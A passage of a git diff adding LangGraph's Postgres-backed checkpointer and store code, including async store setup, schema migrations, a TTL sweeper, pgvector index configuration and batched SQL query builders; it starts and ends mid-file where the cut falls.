config (matching the thread ID in the config). + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + """ + try: + # check if we are in the main thread, only bg threads can block + # we don't check in other methods to avoid the overhead + if asyncio.get_running_loop() is self.loop: + raise asyncio.InvalidStateError( + "Synchronous calls to AsyncShallowPostgresSaver are only allowed from a " + "different thread. From the main thread, use the async interface." + "For example, use `await checkpointer.aget_tuple(...)` or `await " + "graph.ainvoke(...)`." + ) + except RuntimeError: + pass + return asyncio.run_coroutine_threadsafe( + self.aget_tuple(config), self.loop + ).result() + + def put( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the database. + + This method saves a checkpoint to the Postgres database. The checkpoint is associated + with the provided config. For AsyncShallowPostgresSaver, this method saves ONLY the most recent + checkpoint and overwrites a previous checkpoint, if it exists. + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the checkpoint. + """ + return asyncio.run_coroutine_threadsafe( + self.aput(config, checkpoint, metadata, new_versions), self.loop + ).result() + + def put_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Store intermediate writes linked to a checkpoint. + + This method saves intermediate writes associated with a checkpoint to the database. + + Args: + config: Configuration of the related checkpoint. + writes: List of writes to store, each as (channel, value) pair. + task_id: Identifier for the task creating the writes. + task_path: Path of the task creating the writes. + """ + return asyncio.run_coroutine_threadsafe( + self.aput_writes(config, writes, task_id, task_path), self.loop + ).result() diff --git a/libs/checkpoint-postgres/langgraph/store/postgres/__init__.py b/libs/checkpoint-postgres/langgraph/store/postgres/__init__.py new file mode 100644 index 0000000..d0432b5 --- /dev/null +++ b/libs/checkpoint-postgres/langgraph/store/postgres/__init__.py @@ -0,0 +1,4 @@ +from langgraph.store.postgres.aio import AsyncPostgresStore +from langgraph.store.postgres.base import PoolConfig, PostgresStore + +__all__ = ["AsyncPostgresStore", "PoolConfig", "PostgresStore"] diff --git a/libs/checkpoint-postgres/langgraph/store/postgres/aio.py b/libs/checkpoint-postgres/langgraph/store/postgres/aio.py new file mode 100644 index 0000000..d8fd53d --- /dev/null +++ b/libs/checkpoint-postgres/langgraph/store/postgres/aio.py @@ -0,0 +1,592 @@ +from __future__ import annotations + +import asyncio +import logging +from collections.abc import AsyncIterator, Callable, Iterable, Sequence +from contextlib import asynccontextmanager +from types import TracebackType +from typing import Any, cast + +import orjson +from langgraph.store.base import ( + GetOp, + ListNamespacesOp, + Op, + PutOp, + Result, + SearchOp, +) +from langgraph.store.base.batch import AsyncBatchedBaseStore +from psycopg import AsyncConnection, AsyncCursor, AsyncPipeline, Capabilities +from psycopg.rows import DictRow, dict_row +from psycopg_pool import AsyncConnectionPool + +from langgraph.checkpoint.postgres import _ainternal +from langgraph.store.postgres.base import ( + PLACEHOLDER, + BasePostgresStore, + PoolConfig, + PostgresIndexConfig, + Row, + TTLConfig, + _decode_ns_bytes, + _ensure_index_config, + _group_ops, + _row_to_item, + _row_to_search_item, +) + +logger = logging.getLogger(__name__) + + +class AsyncPostgresStore(AsyncBatchedBaseStore, BasePostgresStore[_ainternal.Conn]): + """Asynchronous Postgres-backed store with optional vector search using pgvector. + + !!! example "Examples" + Basic setup and usage: + ```python + from langgraph.store.postgres import AsyncPostgresStore + + conn_string = "postgresql://user:pass@localhost:5432/dbname" + + async with AsyncPostgresStore.from_conn_string(conn_string) as store: + await store.setup() # Run migrations. Done once + + # Store and retrieve data + await store.aput(("users", "123"), "prefs", {"theme": "dark"}) + item = await store.aget(("users", "123"), "prefs") + ``` + + Vector search using LangChain embeddings: + ```python + from langchain.embeddings import init_embeddings + from langgraph.store.postgres import AsyncPostgresStore + + conn_string = "postgresql://user:pass@localhost:5432/dbname" + + async with AsyncPostgresStore.from_conn_string( + conn_string, + index={ + "dims": 1536, + "embed": init_embeddings("openai:text-embedding-3-small"), + "fields": ["text"] # specify which fields to embed. Default is the whole serialized value + } + ) as store: + await store.setup() # Run migrations. Done once + + # Store documents + await store.aput(("docs",), "doc1", {"text": "Python tutorial"}) + await store.aput(("docs",), "doc2", {"text": "TypeScript guide"}) + await store.aput(("docs",), "doc3", {"text": "Other guide"}, index=False) # don't index + + # Search by similarity + results = await store.asearch(("docs",), query="programming guides", limit=2) + ``` + + Using connection pooling for better performance: + ```python + from langgraph.store.postgres import AsyncPostgresStore, PoolConfig + + conn_string = "postgresql://user:pass@localhost:5432/dbname" + + async with AsyncPostgresStore.from_conn_string( + conn_string, + pool_config=PoolConfig( + min_size=5, + max_size=20 + ) + ) as store: + await store.setup() # Run migrations. Done once + # Use store with connection pooling... + ``` + + Warning: + Make sure to: + 1. Call `setup()` before first use to create necessary tables and indexes + 2. Have the pgvector extension available to use vector search + 3. Use Python 3.10+ for async functionality + + Note: + Semantic search is disabled by default. You can enable it by providing an `index` configuration + when creating the store. Without this configuration, all `index` arguments passed to + `put` or `aput` will have no effect. + + Note: + If you provide a TTL configuration, you must explicitly call `start_ttl_sweeper()` to begin + the background task that removes expired items. Call `stop_ttl_sweeper()` to properly + clean up resources when you're done with the store. + """ + + __slots__ = ( + "_deserializer", + "pipe", + "lock", + "supports_pipeline", + "index_config", + "embeddings", + "ttl_config", + "_ttl_sweeper_task", + "_ttl_stop_event", + ) + supports_ttl: bool = True + + def __init__( + self, + conn: _ainternal.Conn, + *, + pipe: AsyncPipeline | None = None, + deserializer: Callable[[bytes | orjson.Fragment], dict[str, Any]] | None = None, + index: PostgresIndexConfig | None = None, + ttl: TTLConfig | None = None, + ) -> None: + if isinstance(conn, AsyncConnectionPool) and pipe is not None: + raise ValueError( + "Pipeline should be used only with a single AsyncConnection, not AsyncConnectionPool." + ) + super().__init__() + self._deserializer = deserializer + self.conn = conn + self.pipe = pipe + self.lock = asyncio.Lock() + self.loop = asyncio.get_running_loop() + self.supports_pipeline = Capabilities().has_pipeline() + self.index_config = index + if self.index_config: + self.embeddings, self.index_config = _ensure_index_config(self.index_config) + else: + self.embeddings = None + + self.ttl_config = ttl + self._ttl_sweeper_task: asyncio.Task[None] | None = None + self._ttl_stop_event = asyncio.Event() + + async def abatch(self, ops: Iterable[Op]) -> list[Result]: + grouped_ops, num_ops = _group_ops(ops) + results: list[Result] = [None] * num_ops + + if self.pipe: + async with self.pipe: + await self._execute_batch(grouped_ops, results) + else: + await self._execute_batch(grouped_ops, results) + + return results + + @classmethod + @asynccontextmanager + async def from_conn_string( + cls, + conn_string: str, + *, + pipeline: bool = False, + pool_config: PoolConfig | None = None, + index: PostgresIndexConfig | None = None, + ttl: TTLConfig | None = None, + ) -> AsyncIterator[AsyncPostgresStore]: + """Create a new AsyncPostgresStore instance from a connection string. + + Args: + conn_string: The Postgres connection info string. + pipeline: Whether to use AsyncPipeline (only for single connections) + pool_config: Configuration for the connection pool. + If provided, will create a connection pool and use it instead of a single connection. + This overrides the `pipeline` argument. + index: The embedding config. + + Returns: + AsyncPostgresStore: A new AsyncPostgresStore instance. + """ + if pool_config is not None: + pc = pool_config.copy() + async with cast( + AsyncConnectionPool[AsyncConnection[DictRow]], + AsyncConnectionPool( + conn_string, + min_size=pc.pop("min_size", 1), + max_size=pc.pop("max_size", None), + kwargs={ + "autocommit": True, + "prepare_threshold": 0, + "row_factory": dict_row, + **(pc.pop("kwargs", None) or {}), + }, + **cast(dict, pc), + ), + ) as pool: + yield cls(conn=pool, index=index, ttl=ttl) + else: + async with await AsyncConnection.connect( + conn_string, autocommit=True, prepare_threshold=0, row_factory=dict_row + ) as conn: + if pipeline: + async with conn.pipeline() as pipe: + yield cls(conn=conn, pipe=pipe, index=index, ttl=ttl) + else: + yield cls(conn=conn, index=index, ttl=ttl) + + async def setup(self) -> None: + """Set up the store database asynchronously. + + This method creates the necessary tables in the Postgres database if they don't + already exist and runs database migrations. It MUST be called directly by the user + the first time the store is used. + """ + + async def _get_version(cur: AsyncCursor[DictRow], table: str) -> int: + await cur.execute( + f""" + CREATE TABLE IF NOT EXISTS {table} ( + v INTEGER PRIMARY KEY + ) + """ + ) + await cur.execute(f"SELECT v FROM {table} ORDER BY v DESC LIMIT 1") + row = cast(dict, await cur.fetchone()) + if row is None: + version = -1 + else: + version = row["v"] + return version + + async with self._cursor() as cur: + version = await _get_version(cur, table="store_migrations") + for v, sql in enumerate(self.MIGRATIONS[version + 1 :], start=version + 1): + await cur.execute(sql) + await cur.execute("INSERT INTO store_migrations (v) VALUES (%s)", (v,)) + + if self.index_config: + version = await _get_version(cur, table="vector_migrations") + for v, migration in enumerate( + self.VECTOR_MIGRATIONS[version + 1 :], start=version + 1 + ): + sql = migration.sql + if migration.params: + params = { + k: v(self) if v is not None and callable(v) else v + for k, v in migration.params.items() + } + if "dims" in params: + try: + params["dims"] = int(params["dims"]) + except Exception as e: + raise ValueError( + f"Invalid dims for vector index: {params['dims']}" + ) from e + if "vector_type" in params: + vt = str(params["vector_type"]) + if vt not in ("vector", "halfvec"): + raise ValueError( + f"Invalid vector_type for pgvector: {vt}" + ) + params["vector_type"] = vt + if "index_type" in params: + it = str(params["index_type"]) + if it not in ("hnsw", "ivfflat"): + raise ValueError( + f"Invalid index_type for pgvector: {it}" + ) + params["index_type"] = it + sql = sql % params + await cur.execute(sql) + await cur.execute( + "INSERT INTO vector_migrations (v) VALUES (%s)", (v,) + ) + + async def sweep_ttl(self) -> int: + """Delete expired store items based on TTL. + + Returns: + int: The number of deleted items. + """ + async with self._cursor() as cur: + await cur.execute( + """ + DELETE FROM store + WHERE expires_at IS NOT NULL AND expires_at < NOW() + """ + ) + deleted_count = cur.rowcount + return deleted_count + + async def start_ttl_sweeper( + self, sweep_interval_minutes: int | None = None + ) -> asyncio.Task[None]: + """Periodically delete expired store items based on TTL. + + Returns: + Task that can be awaited or cancelled. + """ + if not self.ttl_config: + return asyncio.create_task(asyncio.sleep(0)) + + if self._ttl_sweeper_task is not None and not self._ttl_sweeper_task.done(): + return self._ttl_sweeper_task + + self._ttl_stop_event.clear() + + interval = float( + sweep_interval_minutes or self.ttl_config.get("sweep_interval_minutes") or 5 + ) + logger.info(f"Starting store TTL sweeper with interval {interval} minutes") + + async def _sweep_loop() -> None: + while not self._ttl_stop_event.is_set(): + try: + try: + await asyncio.wait_for( + self._ttl_stop_event.wait(), + timeout=interval * 60, + ) + break + except asyncio.TimeoutError: + pass + + expired_items = await self.sweep_ttl() + if expired_items > 0: + logger.info(f"Store swept {expired_items} expired items") + except asyncio.CancelledError: + break + except Exception as exc: + logger.exception("Store TTL sweep iteration failed", exc_info=exc) + + task = asyncio.create_task(_sweep_loop()) + task.set_name("ttl_sweeper") + self._ttl_sweeper_task = task + return task + + async def stop_ttl_sweeper(self, timeout: float | None = None) -> bool: + """Stop the TTL sweeper task if it's running. + + Args: + timeout: Maximum time to wait for the task to stop, in seconds. + If `None`, wait indefinitely. + + Returns: + bool: True if the task was successfully stopped or wasn't running, + False if the timeout was reached before the task stopped. + """ + if self._ttl_sweeper_task is None or self._ttl_sweeper_task.done(): + return True + + logger.info("Stopping TTL sweeper task") + self._ttl_stop_event.set() + + if timeout is not None: + try: + await asyncio.wait_for(self._ttl_sweeper_task, timeout=timeout) + success = True + except asyncio.TimeoutError: + success = False + else: + await self._ttl_sweeper_task + success = True + + if success: + self._ttl_sweeper_task = None + logger.info("TTL sweeper task stopped") + else: + logger.warning("Timed out waiting for TTL sweeper task to stop") + + return success + + async def __aenter__(self) -> AsyncPostgresStore: + return self + + async def __aexit__( + self, + exc_type: type[BaseException] | None, + exc_val: BaseException | None, + exc_tb: TracebackType | None, + ) -> None: + # Ensure the TTL sweeper task is stopped when exiting the context + if hasattr(self, "_ttl_sweeper_task") and self._ttl_sweeper_task is not None: + # Set the event to signal the task to stop + self._ttl_stop_event.set() + # We don't wait for the task to complete here to avoid blocking + # The task will clean up itself gracefully + + async def _execute_batch( + self, + grouped_ops: dict, + results: list[Result], + conn: AsyncConnection[DictRow] | None = None, + ) -> None: + # Keep `conn` for compatibility with subclasses overriding this private hook. + # All database I/O goes through `_cursor()`, which owns connection acquisition. + async with self._cursor(pipeline=True) as cur: + if GetOp in grouped_ops: + await self._batch_get_ops( + cast(Sequence[tuple[int, GetOp]], grouped_ops[GetOp]), + results, + cur, + ) + + if SearchOp in grouped_ops: + await self._batch_search_ops( + cast(Sequence[tuple[int, SearchOp]], grouped_ops[SearchOp]), + results, + cur, + ) + + if ListNamespacesOp in grouped_ops: + await self._batch_list_namespaces_ops( + cast( + Sequence[tuple[int, ListNamespacesOp]], + grouped_ops[ListNamespacesOp], + ), + results, + cur, + ) + + if PutOp in grouped_ops: + await self._batch_put_ops( + cast(Sequence[tuple[int, PutOp]], grouped_ops[PutOp]), + cur, + ) + + async def _batch_get_ops( + self, + get_ops: Sequence[tuple[int, GetOp]], + results: list[Result], + cur: AsyncCursor[DictRow], + ) -> None: + for query, params, namespace, items in self._get_batch_GET_ops_queries(get_ops): + await cur.execute(query, params) + rows = cast(list[Row], await cur.fetchall()) + key_to_row = {row["key"]: row for row in rows} + for idx, key in items: + row = key_to_row.get(key) + if row: + results[idx] = _row_to_item( + namespace, row, loader=self._deserializer + ) + else: + results[idx] = None + + async def _batch_put_ops( + self, + put_ops: Sequence[tuple[int, PutOp]], + cur: AsyncCursor[DictRow], + ) -> None: + queries, embedding_request = self._prepare_batch_PUT_queries(put_ops) + if embedding_request: + if self.embeddings is None: + # Should not get here since the embedding config is required + # to return an embedding_request above + raise ValueError( + "Embedding configuration is required for vector operations " + f"(for semantic search). " + f"Please provide an EmbeddingConfig when initializing the {self.__class__.__name__}." + ) + query, txt_params = embedding_request + vectors = await self.embeddings.aembed_documents( + [param[-1] for param in txt_params] + ) + queries.append( + ( + query, + [ + p + for (ns, k, pathname, _), vector in zip( + txt_params, vectors, strict=False + ) + for p in (ns, k, pathname, vector) + ], + ) + ) + + for query, params in queries: + await cur.execute(query, params) + + async def _batch_search_ops( + self, + search_ops: Sequence[tuple[int, SearchOp]], + results: list[Result], + cur: AsyncCursor[DictRow], + ) -> None: + queries, embedding_requests = self._prepare_batch_search_queries(search_ops) + + if embedding_requests and self.embeddings: + vectors = await self.embeddings.aembed_documents( + [query for _, query in embedding_requests] + ) + for (idx, _), vector in zip(embedding_requests, vectors, strict=False): + _paramslist = queries[idx][1] + for i in range(len(_paramslist)): + if _paramslist[i] is PLACEHOLDER: + _paramslist[i] = vector + + for (idx, _), (query, params) in zip(search_ops, queries, strict=False): + await cur.execute(query, params) + rows = cast(list[Row], await cur.fetchall()) + items = [ + _row_to_search_item( + _decode_ns_bytes(row["prefix"]), row, loader=self._deserializer + ) + for row in rows + ] + results[idx] = items + + async def _batch_list_namespaces_ops( + self, + list_ops: Sequence[tuple[int, ListNamespacesOp]], + results: list[Result], + cur: AsyncCursor[DictRow], + ) -> None: + queries = self._get_batch_list_namespaces_queries(list_ops) + for (query, params), (idx, _) in zip(queries, list_ops, strict=False): + await cur.execute(query, params) + rows = cast(list[dict], await cur.fetchall()) + namespaces = [_decode_ns_bytes(row["truncated_prefix"]) for row in rows] + results[idx] = namespaces + + @asynccontextmanager + async def _cursor( + self, *, pipeline: bool = False + ) -> AsyncIterator[AsyncCursor[DictRow]]: + """Create a database cursor as a context manager. + + Args: + pipeline: whether to use pipeline for the DB operations inside the context manager. + Will be applied regardless of whether the PostgresStore instance was initialized with a pipeline. + If pipeline mode is not supported, will fall back to using transaction context manager. + """ + is_pooled_conn = isinstance(self.conn, AsyncConnectionPool) + # With AsyncConnectionPool, each _cursor() call checks out its own connection. + # The pool does not hand out the same connection concurrently, so a shared lock + # across calls is unnecessary here. + lock = asyncio.Lock() if is_pooled_conn else self.lock + async with _ainternal.get_connection(self.conn) as conn: + if self.pipe: + # a connection in pipeline mode can be used concurrently + # in multiple threads/coroutines, but only one cursor can be + # used at a time + try: + async with conn.cursor(binary=True, row_factory=dict_row) as cur: + yield cur + finally: + if pipeline: + await self.pipe.sync() + elif pipeline: + # a connection not in pipeline mode can only be used by one + # thread/coroutine at a time, so we acquire a lock + if self.supports_pipeline: + async with ( + lock, + conn.pipeline(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + async with ( + lock, + conn.transaction(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + async with ( + lock, + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur diff --git a/libs/checkpoint-postgres/langgraph/store/postgres/base.py b/libs/checkpoint-postgres/langgraph/store/postgres/base.py new file mode 100644 index 0000000..0d1cdc8 --- /dev/null +++ b/libs/checkpoint-postgres/langgraph/store/postgres/base.py @@ -0,0 +1,1409 @@ +from __future__ import annotations + +import asyncio +import concurrent.futures +import json +import logging +import threading +from collections import defaultdict +from collections.abc import Callable, Iterable, Iterator, Sequence +from contextlib import contextmanager +from datetime import datetime +from typing import ( + TYPE_CHECKING, + Any, + Generic, + Literal, + NamedTuple, + TypeVar, + cast, +) + +import orjson +from langgraph.store.base import ( + BaseStore, + GetOp, + IndexConfig, + Item, + ListNamespacesOp, + Op, + PutOp, + Result, + SearchItem, + SearchOp, + TTLConfig, + ensure_embeddings, + get_text_at_path, + tokenize_path, +) +from psycopg import Capabilities, Connection, Cursor, Pipeline +from psycopg.rows import DictRow, dict_row +from psycopg.types.json import Jsonb +from psycopg_pool import ConnectionPool +from typing_extensions import TypedDict + +from langgraph.checkpoint.postgres import _ainternal as _ainternal +from langgraph.checkpoint.postgres import _internal as _pg_internal + +if TYPE_CHECKING: + from langchain_core.embeddings import Embeddings + +logger = logging.getLogger(__name__) + + +class Migration(NamedTuple): + """A database migration with optional conditions and parameters.""" + + sql: str + params: dict[str, Any] | None = None + condition: Callable[[BasePostgresStore], bool] | None = None + + +MIGRATIONS: Sequence[str] = [ + """ +CREATE TABLE IF NOT EXISTS store ( + -- 'prefix' represents the doc's 'namespace' + prefix text NOT NULL, + key text NOT NULL, + value jsonb NOT NULL, + created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (prefix, key) +); +""", + """ +-- For faster lookups by prefix +CREATE INDEX CONCURRENTLY IF NOT EXISTS store_prefix_idx ON store USING btree (prefix text_pattern_ops); +""", + """ +-- Add expires_at column to store table +ALTER TABLE store +ADD COLUMN IF NOT EXISTS expires_at TIMESTAMP WITH TIME ZONE, +ADD COLUMN IF NOT EXISTS ttl_minutes INT; +""", + """ +-- Add indexes for efficient TTL sweeping +CREATE INDEX IF NOT EXISTS idx_store_expires_at ON store (expires_at) +WHERE expires_at IS NOT NULL; +""", +] + +VECTOR_MIGRATIONS: Sequence[Migration] = [ + Migration( + """ +DO $$ +BEGIN + IF NOT EXISTS (SELECT 1 FROM pg_extension WHERE extname = 'vector') THEN + CREATE EXTENSION vector; + END IF; +END $$; +""", + ), + Migration( + """ +CREATE TABLE IF NOT EXISTS store_vectors ( + prefix text NOT NULL, + key text NOT NULL, + field_name text NOT NULL, + embedding %(vector_type)s(%(dims)s), + created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (prefix, key, field_name), + FOREIGN KEY (prefix, key) REFERENCES store(prefix, key) ON DELETE CASCADE +); +""", + params={ + "dims": lambda store: store.index_config["dims"], + "vector_type": lambda store: ( + cast(PostgresIndexConfig, store.index_config) + .get("ann_index_config", {}) + .get("vector_type", "vector") + ), + }, + ), + Migration( + """ +CREATE INDEX CONCURRENTLY IF NOT EXISTS store_vectors_embedding_idx ON store_vectors + USING %(index_type)s (embedding %(ops)s)%(index_params)s; +""", + condition=lambda store: bool( + store.index_config and _get_index_params(store)[0] != "flat" + ), + params={ + "index_type": lambda store: _get_index_params(store)[0], + "ops": lambda store: _get_vector_type_ops(store), + "index_params": lambda store: ( + " WITH (" + + ", ".join(f"{k}={v}" for k, v in _get_index_params(store)[1].items()) + + ")" + if _get_index_params(store)[1] + else "" + ), + }, + ), +] + + +C = TypeVar("C", bound=_pg_internal.Conn | _ainternal.Conn) + + +class PoolConfig(TypedDict, total=False): + """Connection pool settings for PostgreSQL connections. + + Controls connection lifecycle and resource utilization: + + - Small pools (1-5) suit low-concurrency workloads + - Larger pools handle concurrent requests but consume more resources + - Setting max_size prevents resource exhaustion under load + """ + + min_size: int + """Minimum number of connections maintained in the pool. Defaults to 1.""" + + max_size: int | None + """Maximum number of connections allowed in the pool. None means unlimited.""" + + kwargs: dict + """Additional connection arguments passed to each connection in the pool. + + Default kwargs set automatically: + + - autocommit: True + - prepare_threshold: 0 + - row_factory: dict_row + """ + + +class ANNIndexConfig(TypedDict, total=False): + """Configuration for vector index in PostgreSQL store.""" + + kind: Literal["hnsw", "ivfflat", "flat"] + """Type of index to use: 'hnsw' for Hierarchical Navigable Small World, or 'ivfflat' for Inverted File Flat.""" + vector_type: Literal["vector", "halfvec"] + """Type of vector storage to use. + Options: + - 'vector': Regular vectors (default) + - 'halfvec': Half-precision vectors for reduced memory usage + """ + + +class HNSWConfig(ANNIndexConfig, total=False): + """Configuration for HNSW (Hierarchical Navigable Small World) index.""" + + kind: Literal["hnsw"] # type: ignore[misc] + m: int + """Maximum number of connections per layer. Default is 16.""" + ef_construction: int + """Size of dynamic candidate list for index construction. Default is 64.""" + + +class IVFFlatConfig(ANNIndexConfig, total=False): + """IVFFlat index divides vectors into lists, and then searches a subset of those lists that are closest to the query vector. It has faster build times and uses less memory than HNSW, but has lower query performance (in terms of speed-recall tradeoff). + + Three keys to achieving good recall are: + 1. Create the index after the table has some data + 2. Choose an appropriate number of lists - a good place to start is rows / 1000 for up to 1M rows and sqrt(rows) for over 1M rows + 3. When querying, specify an appropriate number of probes (higher is better for recall, lower is better for speed) - a good place to start is sqrt(lists) + """ + + kind: Literal["ivfflat"] # type: ignore[misc] + nlist: int + """Number of inverted lists (clusters) for IVF index. + + Determines the number of clusters used in the index structure. + Higher values can improve search speed but increase index size and build time. + Typically set to the square root of the number of vectors in the index. + """ + + +class PostgresIndexConfig(IndexConfig, total=False): + """Configuration for vector embeddings in PostgreSQL store with pgvector-specific options. + + Extends EmbeddingConfig with additional configuration for pgvector index and vector types. + """ + + ann_index_config: ANNIndexConfig + """Specific configuration for the chosen index type (HNSW or IVF Flat).""" + distance_type: Literal["l2", "inner_product", "cosine"] + """Distance metric to use for vector similarity search: + - 'l2': Euclidean distance + - 'inner_product': Dot product + - 'cosine': Cosine similarity + """ + + +class BasePostgresStore(Generic[C]): + MIGRATIONS = MIGRATIONS + VECTOR_MIGRATIONS = VECTOR_MIGRATIONS + conn: C + _deserializer: Callable[[bytes | orjson.Fragment], dict[str, Any]] | None + index_config: PostgresIndexConfig | None + + def _get_batch_GET_ops_queries( + self, + get_ops: Sequence[tuple[int, GetOp]], + ) -> list[tuple[str, tuple, tuple[str, ...], list]]: + """ + Build queries to fetch (and optionally refresh the TTL of) multiple keys per namespace. + + Each returned element is a tuple of: + (sql_query_string, sql_params, namespace, items_for_this_namespace) + + where items_for_this_namespace is the original list of (idx, key, refresh_ttl). + """ + + namespace_groups = defaultdict(list) + refresh_ttls = defaultdict(list) + for idx, op in get_ops: + namespace_groups[op.namespace].append((idx, op.key)) + refresh_ttls[op.namespace].append(op.refresh_ttl) + + results = [] + for namespace, items in namespace_groups.items(): + _, keys = zip(*items, strict=False) + this_refresh_ttls = refresh_ttls[namespace] + + query = """ + WITH passed_in AS ( + SELECT unnest(%s::text[]) AS key, + unnest(%s::bool[]) AS do_refresh + ), + updated AS ( + UPDATE store s + SET expires_at = NOW() + (s.ttl_minutes || ' minutes')::interval + FROM passed_in p + WHERE s.prefix = %s + AND s.key = p.key + AND p.do_refresh = TRUE + AND s.ttl_minutes IS NOT NULL + RETURNING s.key + ) + SELECT s.key, s.value, s.created_at, s.updated_at + FROM store s + JOIN passed_in p ON s.key = p.key + WHERE s.prefix = %s + """ + ns_text = _namespace_to_text(namespace) + params = ( + list(keys), # -> unnest(%s::text[]) + list(this_refresh_ttls), # -> unnest(%s::bool[]) + ns_text, # -> prefix = %s (for UPDATE) + ns_text, # -> prefix = %s (for final SELECT) + ) + results.append((query, params, namespace, items)) + + return results + + def _prepare_batch_PUT_queries( + self, + put_ops: Sequence[tuple[int, PutOp]], + ) -> tuple[ + list[tuple[str, Sequence]], + tuple[str, Sequence[tuple[str, str, str, str]]] | None, + ]: + dedupped_ops: dict[tuple[tuple[str, ...], str], PutOp] = {} + for _, op in put_ops: + dedupped_ops[(op.namespace, op.key)] = op + + inserts: list[PutOp] = [] + deletes: list[PutOp] = [] + for op in dedupped_ops.values(): + if op.value is None: + deletes.append(op) + else: + inserts.append(op) + + queries: list[tuple[str, Sequence]] = [] + + if deletes: + namespace_groups: dict[tuple[str, ...], list[str]] = defaultdict(list) + for op in deletes: + namespace_groups[op.namespace].append(op.key) + for namespace, keys in namespace_groups.items(): + placeholders = ",".join(["%s"] * len(keys)) + query = ( + f"DELETE FROM store WHERE prefix = %s AND key IN ({placeholders})" + ) + params = (_namespace_to_text(namespace), *keys) + queries.append((query, params)) + embedding_request: tuple[str, Sequence[tuple[str, str, str, str]]] | None = None + if inserts: + values = [] + insertion_params: list[Any] = [] + vector_values = [] + embedding_request_params = [] + # Handle TTL expiration + + # First handle main store insertions + for op in inserts: + insertion_params.extend( + ( + _namespace_to_text(op.namespace), + op.key, + Jsonb(cast(dict, op.value)), + ) + ) + if op.ttl is not None: + values.append( + "(%s, %s, %s, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, NOW() + %s::interval, %s)" + ) + ttl_minutes = float(op.ttl) + insertion_params.extend( + ( + f"{ttl_minutes * 60} seconds", + ttl_minutes, + ) + ) + else: + values.append( + "(%s, %s, %s, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, NULL, %s)" + ) + insertion_params.append(None) + + # Then handle embeddings if configured + if self.index_config: + for op in inserts: + if op.index is False: + continue + value = op.value + ns = _namespace_to_text(op.namespace) + k = op.key + + if op.index is None: + paths = cast(dict, self.index_config)["__tokenized_fields"] + else: + paths = [(ix, tokenize_path(ix)) for ix in op.index] + + for path, tokenized_path in paths: + texts = get_text_at_path(value, tokenized_path) + for i, text in enumerate(texts): + pathname = f"{path}.{i}" if len(texts) > 1 else path + vector_values.append( + "(%s, %s, %s, %s, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)" + ) + embedding_request_params.append((ns, k, pathname, text)) + + values_str = ",".join(values) + query = f""" + INSERT INTO store (prefix, key, value, created_at, updated_at, expires_at, ttl_minutes) + VALUES {values_str} + ON CONFLICT (prefix, key) DO UPDATE + SET value = EXCLUDED.value, + updated_at = CURRENT_TIMESTAMP, + expires_at = EXCLUDED.expires_at, + ttl_minutes = EXCLUDED.ttl_minutes + """ + queries.append((query, insertion_params)) + + if vector_values: + values_str = ",".join(vector_values) + query = f""" + INSERT INTO store_vectors (prefix, key, field_name, embedding, created_at, updated_at) + VALUES {values_str} + ON CONFLICT (prefix, key, field_name) DO UPDATE + SET embedding = EXCLUDED.embedding, + updated_at = CURRENT_TIMESTAMP + """ + embedding_request = (query, embedding_request_params) + + return queries, embedding_request + + def _prepare_batch_search_queries( + self, + search_ops: Sequence[tuple[int, SearchOp]], + ) -> tuple[ + list[tuple[str, list[None | str | list[float]]]], # queries, params + list[tuple[int, str]], # idx, query_text pairs to embed + ]: + """ + Build per-SearchOp SQL queries (with optional TTL refresh) plus embedding requests. + Returns: + - queries: list of (SQL, param_list) + - embedding_requests: list of (original_index_in_search_ops, text_query) + """ + + queries = [] + embedding_requests = [] + for idx, (_, op) in enumerate(search_ops): + filter_params = [] + filter_clauses = [] + if op.filter: + for key, value in op.filter.items(): + if isinstance(value, dict): + for op_name, val in value.items(): + condition, params_ = self._get_filter_condition( + key, op_name, val + ) + filter_clauses.append(condition) + filter_params.extend(params_) + else: + filter_clauses.append("value->%s = %s::jsonb") + filter_params.extend([key, orjson.dumps(value).decode("utf-8")]) + + ns_condition = "TRUE" + ns_param: Sequence[str] | None = None + if op.namespace_prefix: + ns_condition = "store.prefix LIKE %s" + ns_param = (f"{_namespace_to_text(op.namespace_prefix)}%",) + else: + ns_param = () + + extra_filters = ( + " AND " + " AND ".join(filter_clauses) if filter_clauses else "" + ) + + if op.query and self.index_config: + # We'll embed the text later, so record the request. + embedding_requests.append((idx, op.query)) + + score_operator, post_operator = get_distance_operator(self) + post_operator = post_operator.replace("scored", "uniq") + vector_type = self.index_config.get("ann_index_config", {}).get( + "vector_type", "vector" + ) + + # For hamming bit vectors, or “regular” vectors + if ( + vector_type == "bit" + and cast(dict, self.index_config).get("distance_type") == "hamming" + ): + score_operator = score_operator % ( + "%s", + cast(dict, self.index_config)["dims"], + ) + else: + if vector_type not in ("vector", "halfvec"): + raise ValueError( + f"Invalid vector_type for pgvector: {vector_type}" + ) + score_operator = score_operator % ("%s", vector_type) + + vectors_per_doc_estimate = cast(dict, self.index_config)[ + "__estimated_num_vectors" + ] + expanded_limit = (op.limit * vectors_per_doc_estimate * 2) + 1 + + # “sub_scored” does the main vector search + # Then we do DISTINCT ON to drop duplicates if your store can have them + # Finally we limit & offset + vector_search_cte = f""" + SELECT store.prefix, store.key, store.value, store.created_at, store.updated_at, + {score_operator} AS neg_score + FROM store + JOIN store_vectors sv ON store.prefix = sv.prefix AND store.key = sv.key + WHERE {ns_condition} {extra_filters} + ORDER BY {score_operator} ASC + LIMIT %s + """ + + 